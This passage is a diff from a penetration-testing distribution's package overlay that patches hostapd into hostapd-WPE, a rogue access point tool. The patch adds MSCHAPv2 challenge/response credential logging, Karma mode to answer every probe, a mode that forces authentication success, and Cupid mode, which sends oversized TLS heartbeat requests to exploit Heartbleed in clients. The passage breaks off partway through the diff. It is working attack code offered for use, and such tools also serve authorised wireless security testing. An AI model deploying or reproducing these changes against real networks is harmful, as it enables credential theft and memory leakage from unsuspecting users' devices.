mirror of
https://github.com/pentoo/pentoo-overlay
synced 2025-12-20 07:16:42 +01:00
989 lines
36 KiB
Diff
989 lines
36 KiB
Diff
diff -rupN hostapd-2.6/hostapd/config_file.c hostapd-2.6-wpe/hostapd/config_file.c
|
|
--- hostapd-2.6/hostapd/config_file.c 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/hostapd/config_file.c 2016-12-17 06:12:53.647984078 -0500
|
|
@@ -20,7 +20,7 @@
|
|
#include "ap/wpa_auth.h"
|
|
#include "ap/ap_config.h"
|
|
#include "config_file.h"
|
|
-
|
|
+#include "wpe/wpe.h"
|
|
|
|
#ifndef CONFIG_NO_RADIUS
|
|
#ifdef EAP_SERVER
|
|
@@ -2108,6 +2108,20 @@ static int hostapd_config_fill(struct ho
|
|
return 1;
|
|
}
|
|
wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version);
|
|
+ } else if (os_strcmp(buf, "wpe_logfile") == 0) {
|
|
+ wpe_conf.wpe_logfile = os_strdup(pos);
|
|
+ } else if (os_strcmp(buf, "wpe_hb_send_before_handshake") == 0) {
|
|
+ wpe_conf.wpe_hb_send_before_handshake = atoi(pos);
|
|
+ } else if (os_strcmp(buf, "wpe_hb_send_before_appdata") == 0) {
|
|
+ wpe_conf.wpe_hb_send_before_appdata = atoi(pos);
|
|
+ } else if (os_strcmp(buf, "wpe_hb_send_after_appdata") == 0) {
|
|
+ wpe_conf.wpe_hb_send_after_appdata = atoi(pos);
|
|
+ } else if (os_strcmp(buf, "wpe_hb_payload_size") == 0) {
|
|
+ wpe_conf.wpe_hb_payload_size = atoi(pos);
|
|
+ } else if (os_strcmp(buf, "wpe_hb_num_repeats") == 0) {
|
|
+ wpe_conf.wpe_hb_num_repeats = atoi(pos);
|
|
+ } else if (os_strcmp(buf, "wpe_hb_num_tries") == 0) {
|
|
+ wpe_conf.wpe_hb_num_tries = atoi(pos);
|
|
#ifdef EAP_SERVER
|
|
} else if (os_strcmp(buf, "eap_authenticator") == 0) {
|
|
bss->eap_server = atoi(pos);
|
|
diff -rupN hostapd-2.6/hostapd/hostapd-wpe.eap_user hostapd-2.6-wpe/hostapd/hostapd-wpe.eap_user
|
|
--- hostapd-2.6/hostapd/hostapd-wpe.eap_user 1969-12-31 19:00:00.000000000 -0500
|
|
+++ hostapd-2.6-wpe/hostapd/hostapd-wpe.eap_user 2016-12-17 06:12:53.947984072 -0500
|
|
@@ -0,0 +1,107 @@
|
|
+# hostapd user database for integrated EAP server
|
|
+
|
|
+# Each line must contain an identity, EAP method(s), and an optional password
|
|
+# separated with whitespace (space or tab). The identity and password must be
|
|
+# double quoted ("user"). Password can alternatively be stored as
|
|
+# NtPasswordHash (16-byte MD4 hash of the unicode presentation of the password
|
|
+# in unicode) if it is used for MSCHAP or MSCHAPv2 authentication. This means
|
|
+# that the plaintext password does not need to be included in the user file.
|
|
+# Password hash is stored as hash:<16-octets of hex data> without quotation
|
|
+# marks.
|
|
+
|
|
+# [2] flag in the end of the line can be used to mark users for tunneled phase
|
|
+# 2 authentication (e.g., within EAP-PEAP). In these cases, an anonymous
|
|
+# identity can be used in the unencrypted phase 1 and the real user identity
|
|
+# is transmitted only within the encrypted tunnel in phase 2. If non-anonymous
|
|
+# access is needed, two user entries is needed, one for phase 1 and another
|
|
+# with the same username for phase 2.
|
|
+#
|
|
+# EAP-TLS, EAP-PEAP, EAP-TTLS, EAP-FAST, EAP-SIM, and EAP-AKA do not use
|
|
+# password option.
|
|
+# EAP-MD5, EAP-MSCHAPV2, EAP-GTC, EAP-PAX, EAP-PSK, and EAP-SAKE require a
|
|
+# password.
|
|
+# EAP-PEAP, EAP-TTLS, and EAP-FAST require Phase 2 configuration.
|
|
+#
|
|
+# * can be used as a wildcard to match any user identity. The main purposes for
|
|
+# this are to set anonymous phase 1 identity for EAP-PEAP and EAP-TTLS and to
|
|
+# avoid having to configure every certificate for EAP-TLS authentication. The
|
|
+# first matching entry is selected, so * should be used as the last phase 1
|
|
+# user entry.
|
|
+#
|
|
+# "prefix"* can be used to match the given prefix and anything after this. The
|
|
+# main purpose for this is to be able to avoid EAP method negotiation when the
|
|
+# method is using known prefix in identities (e.g., EAP-SIM and EAP-AKA). This
|
|
+# is only allowed for phase 1 identities.
|
|
+#
|
|
+# Multiple methods can be configured to make the authenticator try them one by
|
|
+# one until the peer accepts one. The method names are separated with a
|
|
+# comma (,).
|
|
+#
|
|
+# [ver=0] and [ver=1] flags after EAP type PEAP can be used to force PEAP
|
|
+# version based on the Phase 1 identity. Without this flag, the EAP
|
|
+# authenticator advertises the highest supported version and select the version
|
|
+# based on the first PEAP packet from the supplicant.
|
|
+#
|
|
+# EAP-TTLS supports both EAP and non-EAP authentication inside the tunnel.
|
|
+# Tunneled EAP methods are configured with standard EAP method name and [2]
|
|
+# flag. Non-EAP methods can be enabled by following method names: TTLS-PAP,
|
|
+# TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2. TTLS-PAP and TTLS-CHAP require a
|
|
+# plaintext password while TTLS-MSCHAP and TTLS-MSCHAPV2 can use NT password
|
|
+# hash.
|
|
+#
|
|
+# Arbitrary RADIUS attributes can be added into Access-Accept packets similarly
|
|
+# to the way radius_auth_req_attr is used for Access-Request packet in
|
|
+# hostapd.conf. For EAP server, this is configured separately for each user
|
|
+# entry with radius_accept_attr=<value> line(s) following the main user entry
|
|
+# line.
|
|
+
|
|
+# Phase 1 users
|
|
+#"user" MD5 "password"
|
|
+#"test user" MD5 "secret"
|
|
+#"example user" TLS
|
|
+#"DOMAIN\user" MSCHAPV2 "password"
|
|
+#"gtc user" GTC "password"
|
|
+#"pax user" PAX "unknown"
|
|
+#"pax.user@example.com" PAX 0123456789abcdef0123456789abcdef
|
|
+#"psk user" PSK "unknown"
|
|
+#"psk.user@example.com" PSK 0123456789abcdef0123456789abcdef
|
|
+#"sake.user@example.com" SAKE 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
|
|
+#"ttls" TTLS
|
|
+#"not anonymous" PEAP
|
|
+# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes
|
|
+#"0"* AKA,TTLS,TLS,PEAP,SIM
|
|
+#"1"* SIM,TTLS,TLS,PEAP,AKA
|
|
+#"2"* AKA,TTLS,TLS,PEAP,SIM
|
|
+#"3"* SIM,TTLS,TLS,PEAP,AKA
|
|
+#"4"* AKA,TTLS,TLS,PEAP,SIM
|
|
+#"5"* SIM,TTLS,TLS,PEAP,AKA
|
|
+#"6"* AKA'
|
|
+#"7"* AKA'
|
|
+#"8"* AKA'
|
|
+
|
|
+# Wildcard for all other identities
|
|
+#* PEAP,TTLS,TLS,SIM,AKA
|
|
+
|
|
+# Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users
|
|
+#"t-md5" MD5 "password" [2]
|
|
+#"DOMAIN\t-mschapv2" MSCHAPV2 "password" [2]
|
|
+#"t-gtc" GTC "password" [2]
|
|
+#"not anonymous" MSCHAPV2 "password" [2]
|
|
+#"user" MD5,GTC,MSCHAPV2 "password" [2]
|
|
+#"test user" MSCHAPV2 hash:000102030405060708090a0b0c0d0e0f [2]
|
|
+#"ttls-user" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2 "password" [2]
|
|
+
|
|
+# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes in phase 2
|
|
+#"0"* AKA [2]
|
|
+#"1"* SIM [2]
|
|
+#"2"* AKA [2]
|
|
+#"3"* SIM [2]
|
|
+#"4"* AKA [2]
|
|
+#"5"* SIM [2]
|
|
+#"6"* AKA' [2]
|
|
+#"7"* AKA' [2]
|
|
+#"8"* AKA' [2]
|
|
+
|
|
+# WPE - DO NOT REMOVE - These entries are specifically in here
|
|
+* PEAP,TTLS,TLS,FAST
|
|
+"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2]
|
|
diff -rupN hostapd-2.6/hostapd/main.c hostapd-2.6-wpe/hostapd/main.c
|
|
--- hostapd-2.6/hostapd/main.c 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/hostapd/main.c 2016-12-17 06:12:53.947984072 -0500
|
|
@@ -28,7 +28,7 @@
|
|
#include "config_file.h"
|
|
#include "eap_register.h"
|
|
#include "ctrl_iface.h"
|
|
-
|
|
+#include "wpe/wpe.h"
|
|
|
|
struct hapd_global {
|
|
void **drv_priv;
|
|
@@ -448,11 +448,16 @@ static int hostapd_global_run(struct hap
|
|
static void show_version(void)
|
|
{
|
|
fprintf(stderr,
|
|
- "hostapd v" VERSION_STR "\n"
|
|
+ "hostapd-WPE v" VERSION_STR "\n"
|
|
"User space daemon for IEEE 802.11 AP management,\n"
|
|
"IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
|
|
"Copyright (c) 2002-2016, Jouni Malinen <j@w1.fi> "
|
|
- "and contributors\n");
|
|
+ "and contributors\n"
|
|
+ "-----------------------------------------------------\n"
|
|
+ "WPE (Wireless Pwnage Edition)\n"
|
|
+ "This version has been cleverly modified to target\n"
|
|
+ "wired and wireless users.\n"
|
|
+ "Thomas d'Otreppe <@aircrackng>");
|
|
}
|
|
|
|
|
|
@@ -461,7 +466,7 @@ static void usage(void)
|
|
show_version();
|
|
fprintf(stderr,
|
|
"\n"
|
|
- "usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] "
|
|
+ "usage: hostapd-wpe [-hdBKtvskc] [-P <PID file>] [-e <entropy file>] "
|
|
"\\\n"
|
|
" [-g <global ctrl_iface>] [-G <group>]\\\n"
|
|
" [-i <comma-separated list of interface names>]\\\n"
|
|
@@ -486,7 +491,12 @@ static void usage(void)
|
|
" -i list of interface names to use\n"
|
|
" -S start all the interfaces synchronously\n"
|
|
" -t include timestamps in some debug messages\n"
|
|
- " -v show hostapd version\n");
|
|
+ " -v show hostapd version\n\n"
|
|
+ " WPE Options -------------------\n"
|
|
+ " (credential logging always enabled)\n"
|
|
+ " -s Return Success where possible\n"
|
|
+ " -k Karma Mode (Respond to all probes)\n"
|
|
+ " -c Cupid Mode (Heartbleed clients)\n\n");
|
|
|
|
exit(1);
|
|
}
|
|
@@ -661,7 +671,7 @@ int main(int argc, char *argv[])
|
|
dl_list_init(&interfaces.global_ctrl_dst);
|
|
|
|
for (;;) {
|
|
- c = getopt(argc, argv, "b:Bde:f:hi:KP:STtu:vg:G:");
|
|
+ c = getopt(argc, argv, "b:Bde:f:hi:KP:STtu:vg:G:kcs");
|
|
if (c < 0)
|
|
break;
|
|
switch (c) {
|
|
@@ -725,6 +735,15 @@ int main(int argc, char *argv[])
|
|
case 'u':
|
|
return gen_uuid(optarg);
|
|
#endif /* CONFIG_WPS */
|
|
+ case 'k':
|
|
+ wpe_conf.wpe_enable_karma++;
|
|
+ break;
|
|
+ case 'c':
|
|
+ wpe_conf.wpe_enable_cupid++;
|
|
+ break;
|
|
+ case 's':
|
|
+ wpe_conf.wpe_enable_return_success++;
|
|
+ break;
|
|
case 'i':
|
|
if (hostapd_get_interface_names(&if_names,
|
|
&if_names_size, optarg))
|
|
diff -rupN hostapd-2.6/hostapd/Makefile hostapd-2.6-wpe/hostapd/Makefile
|
|
--- hostapd-2.6/hostapd/Makefile 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/hostapd/Makefile 2016-12-17 06:12:53.955984072 -0500
|
|
@@ -86,6 +86,7 @@ OBJS += ../src/ap/beacon.o
|
|
OBJS += ../src/ap/bss_load.o
|
|
OBJS += ../src/ap/neighbor_db.o
|
|
OBJS += ../src/ap/rrm.o
|
|
+OBJS += ../src/wpe/wpe.o
|
|
|
|
OBJS_c = hostapd_cli.o
|
|
OBJS_c += ../src/common/wpa_ctrl.o
|
|
@@ -1012,7 +1013,7 @@ OBJS += ../src/fst/fst_ctrl_iface.o
|
|
endif
|
|
endif
|
|
|
|
-ALL=hostapd hostapd_cli
|
|
+ALL=hostapd-wpe hostapd-wpe_cli
|
|
|
|
all: verify_config $(ALL)
|
|
|
|
@@ -1051,6 +1052,15 @@ $(DESTDIR)$(BINDIR)/%: %
|
|
|
|
install: $(addprefix $(DESTDIR)$(BINDIR)/,$(ALL))
|
|
|
|
+wpe:
|
|
+ install -d $(DESTDIR)/etc/hostapd-wpe
|
|
+ install -m 644 hostapd-wpe.conf hostapd-wpe.eap_user $(DESTDIR)/etc/hostapd-wpe
|
|
+ install -d $(DESTDIR)/etc/hostapd-wpe/certs
|
|
+ install -d $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
|
|
+ install -m 644 certs/demoCA/cacert.pem $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
|
|
+ install -m 755 certs/bootstrap $(DESTDIR)/etc/hostapd-wpe/certs
|
|
+ install -m 644 certs/ca.cnf certs/client.cnf certs/Makefile certs/README certs/README.wpe certs/server.cnf certs/xpextensions $(DESTDIR)/etc/hostapd-wpe/certs
|
|
+
|
|
../src/drivers/build.hostapd:
|
|
@if [ -f ../src/drivers/build.wpa_supplicant ]; then \
|
|
$(MAKE) -C ../src/drivers clean; \
|
|
@@ -1059,15 +1069,15 @@ install: $(addprefix $(DESTDIR)$(BINDIR)
|
|
|
|
BCHECK=../src/drivers/build.hostapd
|
|
|
|
-hostapd: $(BCHECK) $(OBJS)
|
|
- $(Q)$(CC) $(LDFLAGS) -o hostapd $(OBJS) $(LIBS)
|
|
+hostapd-wpe: $(BCHECK) $(OBJS)
|
|
+ $(Q)$(CC) $(LDFLAGS) -o hostapd-wpe $(OBJS) $(LIBS)
|
|
@$(E) " LD " $@
|
|
|
|
ifdef CONFIG_WPA_TRACE
|
|
OBJS_c += ../src/utils/trace.o
|
|
endif
|
|
-hostapd_cli: $(OBJS_c)
|
|
- $(Q)$(CC) $(LDFLAGS) -o hostapd_cli $(OBJS_c) $(LIBS_c)
|
|
+hostapd-wpe_cli: $(OBJS_c)
|
|
+ $(Q)$(CC) $(LDFLAGS) -o hostapd-wpe_cli $(OBJS_c) $(LIBS_c)
|
|
@$(E) " LD " $@
|
|
|
|
NOBJS = nt_password_hash.o ../src/crypto/ms_funcs.o $(SHA1OBJS)
|
|
@@ -1114,7 +1124,7 @@ lcov-html:
|
|
|
|
clean:
|
|
$(MAKE) -C ../src clean
|
|
- rm -f core *~ *.o hostapd hostapd_cli nt_password_hash hlr_auc_gw
|
|
+ rm -f core *~ *.o hostapd-wpe hostapd-wpe_cli nt_password_hash hlr_auc_gw
|
|
rm -f *.d *.gcno *.gcda *.gcov
|
|
rm -f lcov.info
|
|
rm -rf lcov-html
|
|
diff -rupN hostapd-2.6/src/ap/beacon.c hostapd-2.6-wpe/src/ap/beacon.c
|
|
--- hostapd-2.6/src/ap/beacon.c 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/src/ap/beacon.c 2016-12-17 06:12:53.955984072 -0500
|
|
@@ -30,7 +30,7 @@
|
|
#include "hs20.h"
|
|
#include "dfs.h"
|
|
#include "taxonomy.h"
|
|
-
|
|
+#include "wpe/wpe.h"
|
|
|
|
#ifdef NEED_AP_MLME
|
|
|
|
@@ -817,6 +817,13 @@ void handle_probe_req(struct hostapd_dat
|
|
}
|
|
#endif /* CONFIG_TAXONOMY */
|
|
|
|
+ if (wpe_conf.wpe_enable_karma && elems.ssid_len > 0) {
|
|
+ wpa_printf(MSG_MSGDUMP,"[WPE] Probe request from " MACSTR ", changing SSID to '%s'", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len));
|
|
+ hostapd_set_ssid(hapd,elems.ssid,elems.ssid_len);
|
|
+ os_memcpy(&hapd->conf->ssid.ssid,elems.ssid,elems.ssid_len);
|
|
+ hapd->conf->ssid.ssid_len = elems.ssid_len;
|
|
+ }
|
|
+
|
|
res = ssid_match(hapd, elems.ssid, elems.ssid_len,
|
|
elems.ssid_list, elems.ssid_list_len);
|
|
if (res == NO_SSID_MATCH) {
|
|
diff -rupN hostapd-2.6/src/ap/ieee802_11.c hostapd-2.6-wpe/src/ap/ieee802_11.c
|
|
--- hostapd-2.6/src/ap/ieee802_11.c 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/src/ap/ieee802_11.c 2016-12-17 06:12:53.955984072 -0500
|
|
@@ -45,7 +45,7 @@
|
|
#include "mbo_ap.h"
|
|
#include "rrm.h"
|
|
#include "taxonomy.h"
|
|
-
|
|
+#include "wpe/wpe.h"
|
|
|
|
u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid)
|
|
{
|
|
@@ -1418,8 +1418,8 @@ static u16 check_ssid(struct hostapd_dat
|
|
if (ssid_ie == NULL)
|
|
return WLAN_STATUS_UNSPECIFIED_FAILURE;
|
|
|
|
- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
|
|
- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
|
|
+ if ((!wpe_conf.wpe_enable_karma) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
|
|
+ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
|
|
hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
|
|
HOSTAPD_LEVEL_INFO,
|
|
"Station tried to associate with unknown SSID "
|
|
diff -rupN hostapd-2.6/src/crypto/ms_funcs.h hostapd-2.6-wpe/src/crypto/ms_funcs.h
|
|
--- hostapd-2.6/src/crypto/ms_funcs.h 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/src/crypto/ms_funcs.h 2016-12-17 06:12:53.955984072 -0500
|
|
@@ -9,6 +9,10 @@
|
|
#ifndef MS_FUNCS_H
|
|
#define MS_FUNCS_H
|
|
|
|
+int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge,
|
|
+ const u8 *username, size_t username_len,
|
|
+ u8 *challenge);
|
|
+
|
|
int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
|
|
const u8 *username, size_t username_len,
|
|
const u8 *password, size_t password_len,
|
|
diff -rupN hostapd-2.6/src/crypto/tls_openssl.c hostapd-2.6-wpe/src/crypto/tls_openssl.c
|
|
--- hostapd-2.6/src/crypto/tls_openssl.c 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/src/crypto/tls_openssl.c 2016-12-17 06:16:43.435979728 -0500
|
|
@@ -21,6 +21,7 @@
|
|
#include <openssl/opensslv.h>
|
|
#include <openssl/pkcs12.h>
|
|
#include <openssl/x509v3.h>
|
|
+#include <openssl/rand.h>
|
|
#ifndef OPENSSL_NO_ENGINE
|
|
#include <openssl/engine.h>
|
|
#endif /* OPENSSL_NO_ENGINE */
|
|
@@ -37,6 +38,7 @@
|
|
#include "sha256.h"
|
|
#include "tls.h"
|
|
#include "tls_openssl.h"
|
|
+#include "wpe/wpe.h"
|
|
|
|
#if !defined(CONFIG_FIPS) && \
|
|
(defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || \
|
|
@@ -179,6 +181,8 @@ static int tls_add_ca_from_keystore_enco
|
|
|
|
#endif /* ANDROID */
|
|
|
|
+int wpe_hb_enc(struct tls_connection *conn); // WPE: To limit changes up top
|
|
+
|
|
static int tls_openssl_ref_count = 0;
|
|
static int tls_ex_idx_session = -1;
|
|
|
|
@@ -1347,7 +1351,10 @@ struct tls_connection * tls_connection_i
|
|
|
|
conn->context = context;
|
|
SSL_set_app_data(conn->ssl, conn);
|
|
- SSL_set_msg_callback(conn->ssl, tls_msg_cb);
|
|
+ if (wpe_conf.wpe_enable_cupid)
|
|
+ SSL_set_msg_callback(conn->ssl, wpe_hb_cb);
|
|
+ else
|
|
+ SSL_set_msg_callback(conn->ssl, tls_msg_cb);
|
|
SSL_set_msg_callback_arg(conn->ssl, conn);
|
|
options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
|
|
SSL_OP_SINGLE_DH_USE;
|
|
@@ -3255,8 +3262,10 @@ static struct wpabuf *
|
|
openssl_handshake(struct tls_connection *conn, const struct wpabuf *in_data,
|
|
int server)
|
|
{
|
|
- int res;
|
|
+ int res,i;
|
|
struct wpabuf *out_data;
|
|
+ struct wpabuf *wpe_hb_ptr1, *wpe_hb_ptr2;
|
|
+
|
|
|
|
/*
|
|
* Give TLS handshake data from the server (if available) to OpenSSL
|
|
@@ -3316,6 +3325,25 @@ openssl_handshake(struct tls_connection
|
|
}
|
|
wpabuf_put(out_data, res);
|
|
|
|
+ if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_handshake && wpe_conf.wpe_hb_num_tries) {
|
|
+
|
|
+ wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat request instead of handshake\n");
|
|
+ wpe_hb_ptr1 = NULL;
|
|
+ for (i=0; i < wpe_conf.wpe_hb_num_repeats; i++) {
|
|
+ wpe_hb_ptr2 = wpabuf_alloc(wpe_hb_msg_len-1);
|
|
+ memcpy(wpabuf_mhead(wpe_hb_ptr2), (u8 *)wpe_hb_clear(), wpe_hb_msg_len-1);
|
|
+ wpabuf_put(wpe_hb_ptr2, wpe_hb_msg_len-1);
|
|
+ if (wpe_hb_ptr1) {
|
|
+ wpe_hb_ptr1 = wpabuf_concat(wpe_hb_ptr1,wpe_hb_ptr2);
|
|
+ } else {
|
|
+ wpe_hb_ptr1 = wpe_hb_ptr2;
|
|
+ }
|
|
+ }
|
|
+ conn->ssl->tlsext_hb_pending = 1;
|
|
+ wpe_conf.wpe_hb_num_tries--;
|
|
+ return wpe_hb_ptr1;
|
|
+ }
|
|
+
|
|
return out_data;
|
|
}
|
|
|
|
@@ -3431,6 +3459,10 @@ struct wpabuf * tls_connection_encrypt(v
|
|
tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
|
|
return NULL;
|
|
}
|
|
+
|
|
+ if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_appdata)
|
|
+ wpe_hb_enc(conn);
|
|
+
|
|
res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
|
|
if (res < 0) {
|
|
tls_show_errors(MSG_INFO, __func__,
|
|
@@ -3438,6 +3470,10 @@ struct wpabuf * tls_connection_encrypt(v
|
|
return NULL;
|
|
}
|
|
|
|
+ if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_after_appdata)
|
|
+ wpe_hb_enc(conn);
|
|
+
|
|
+
|
|
/* Read encrypted data to be sent to the server */
|
|
buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
|
|
if (buf == NULL)
|
|
@@ -4331,3 +4367,67 @@ void tls_connection_remove_session(struc
|
|
wpa_printf(MSG_DEBUG,
|
|
"OpenSSL: Removed cached session to disable session resumption");
|
|
}
|
|
+
|
|
+int wpe_hb_enc(struct tls_connection *conn) {
|
|
+ unsigned char *cbuf, *p;
|
|
+
|
|
+ unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */
|
|
+ unsigned int padding = 16; //default: 16 /* Use minimum padding */
|
|
+
|
|
+ if (!SSL_is_init_finished(conn->ssl)) {
|
|
+ return -1;
|
|
+ }
|
|
+
|
|
+ if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
|
|
+ conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) {
|
|
+ wpa_printf(MSG_DEBUG, "[WPE] warning: heartbeat extension is unsupported (try anyway)\n");
|
|
+ } else {
|
|
+ wpa_printf(MSG_DEBUG,"[WPE] Heartbeat extention is supported, may not be vulnerable!\n");
|
|
+ }
|
|
+
|
|
+ /* Check if padding is too long, payload and padding
|
|
+ * must not exceed 2^14 - 3 = 16381 bytes in total.
|
|
+ */
|
|
+ OPENSSL_assert(real_payload + padding <= 16381);
|
|
+
|
|
+ cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding);
|
|
+
|
|
+ if(cbuf==NULL)
|
|
+ return -1;
|
|
+
|
|
+ p = cbuf;
|
|
+
|
|
+ *p++ = TLS1_HB_REQUEST;
|
|
+
|
|
+
|
|
+ /* Payload length (18 bytes here) */
|
|
+ //s2n(payload, p); /* standards compliant payload */
|
|
+ //s2n(payload +10, p); /* >payload to exploit heartbleed!!! */
|
|
+ s2n(wpe_conf.wpe_hb_payload_size, p); /* configured payload */
|
|
+
|
|
+ /* Sequence number */
|
|
+ s2n(conn->ssl->tlsext_hb_seq, p);
|
|
+ /* 16 random bytes */
|
|
+ RAND_pseudo_bytes(p, 16);
|
|
+ //RAND_bytes(p, 16);
|
|
+ p += 16;
|
|
+ /* Random padding */
|
|
+ RAND_pseudo_bytes(p, padding);
|
|
+ //RAND_bytes(p, padding);
|
|
+
|
|
+ wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat reaquesting payload size %u...\n", wpe_conf.wpe_hb_payload_size);
|
|
+ wpa_hexdump(MSG_DEBUG, "[WPE] heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding);
|
|
+
|
|
+ /* Send heartbeat request */
|
|
+#ifdef TLS1_RT_HEARTBEAT
|
|
+ if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT,
|
|
+#elif defined(DTLS1_RT_HEARTBEAT)
|
|
+ if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, DTLS1_RT_HEARTBEAT,
|
|
+#endif
|
|
+ cbuf, 3 + real_payload + padding) >= 0)
|
|
+ conn->ssl->tlsext_hb_pending = 1;
|
|
+ OPENSSL_free(cbuf);
|
|
+
|
|
+ return 0;
|
|
+}
|
|
+
|
|
diff -rupN hostapd-2.6/src/eap_server/eap_server.c hostapd-2.6-wpe/src/eap_server/eap_server.c
|
|
--- hostapd-2.6/src/eap_server/eap_server.c 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/src/eap_server/eap_server.c 2016-12-17 06:12:53.955984072 -0500
|
|
@@ -23,7 +23,8 @@
|
|
#define STATE_MACHINE_DATA struct eap_sm
|
|
#define STATE_MACHINE_DEBUG_PREFIX "EAP"
|
|
|
|
-#define EAP_MAX_AUTH_ROUNDS 50
|
|
+//#define EAP_MAX_AUTH_ROUNDS 50
|
|
+#define EAP_MAX_AUTH_ROUNDS 50000 // wpe >:)
|
|
|
|
static void eap_user_free(struct eap_user *user);
|
|
|
|
@@ -164,6 +165,8 @@ int eap_user_get(struct eap_sm *sm, cons
|
|
{
|
|
struct eap_user *user;
|
|
|
|
+ char ident = 't';
|
|
+
|
|
if (sm == NULL || sm->eapol_cb == NULL ||
|
|
sm->eapol_cb->get_eap_user == NULL)
|
|
return -1;
|
|
@@ -175,6 +178,11 @@ int eap_user_get(struct eap_sm *sm, cons
|
|
if (user == NULL)
|
|
return -1;
|
|
|
|
+ if (phase2) {
|
|
+ identity = (const u8 *)&ident;
|
|
+ identity_len = 1;
|
|
+ }
|
|
+
|
|
if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
|
|
identity_len, phase2, user) != 0) {
|
|
eap_user_free(user);
|
|
diff -rupN hostapd-2.6/src/eap_server/eap_server_mschapv2.c hostapd-2.6-wpe/src/eap_server/eap_server_mschapv2.c
|
|
--- hostapd-2.6/src/eap_server/eap_server_mschapv2.c 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/src/eap_server/eap_server_mschapv2.c 2016-12-17 06:12:53.955984072 -0500
|
|
@@ -12,7 +12,7 @@
|
|
#include "crypto/ms_funcs.h"
|
|
#include "crypto/random.h"
|
|
#include "eap_i.h"
|
|
-
|
|
+#include "wpe/wpe.h"
|
|
|
|
struct eap_mschapv2_hdr {
|
|
u8 op_code; /* MSCHAPV2_OP_* */
|
|
@@ -291,7 +291,7 @@ static void eap_mschapv2_process_respons
|
|
size_t username_len, user_len;
|
|
int res;
|
|
char *buf;
|
|
-
|
|
+ u8 wpe_challenge_hash[8];
|
|
pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
|
|
&len);
|
|
if (pos == NULL || len < 1)
|
|
@@ -372,6 +372,8 @@ static void eap_mschapv2_process_respons
|
|
}
|
|
}
|
|
#endif /* CONFIG_TESTING_OPTIONS */
|
|
+ challenge_hash(peer_challenge, data->auth_challenge, username, username_len, wpe_challenge_hash);
|
|
+ wpe_log_chalresp("mschapv2", name, name_len, wpe_challenge_hash, 8, nt_response, 24);
|
|
|
|
if (username_len != user_len ||
|
|
os_memcmp(username, user, username_len) != 0) {
|
|
@@ -406,6 +408,11 @@ static void eap_mschapv2_process_respons
|
|
return;
|
|
}
|
|
|
|
+ if (wpe_conf.wpe_enable_return_success) {
|
|
+ os_memset((void *)nt_response, 0, 24);
|
|
+ os_memset((void *)expected, 0, 24);
|
|
+ }
|
|
+
|
|
if (os_memcmp_const(nt_response, expected, 24) == 0) {
|
|
const u8 *pw_hash;
|
|
u8 pw_hash_buf[16], pw_hash_hash[16];
|
|
@@ -446,6 +453,8 @@ static void eap_mschapv2_process_respons
|
|
wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response");
|
|
data->state = FAILURE_REQ;
|
|
}
|
|
+ if (wpe_conf.wpe_enable_return_success)
|
|
+ data->state = SUCCESS;
|
|
}
|
|
|
|
|
|
diff -rupN hostapd-2.6/src/eap_server/eap_server_peap.c hostapd-2.6-wpe/src/eap_server/eap_server_peap.c
|
|
--- hostapd-2.6/src/eap_server/eap_server_peap.c 2016-10-02 14:51:11.000000000 -0400
|
|
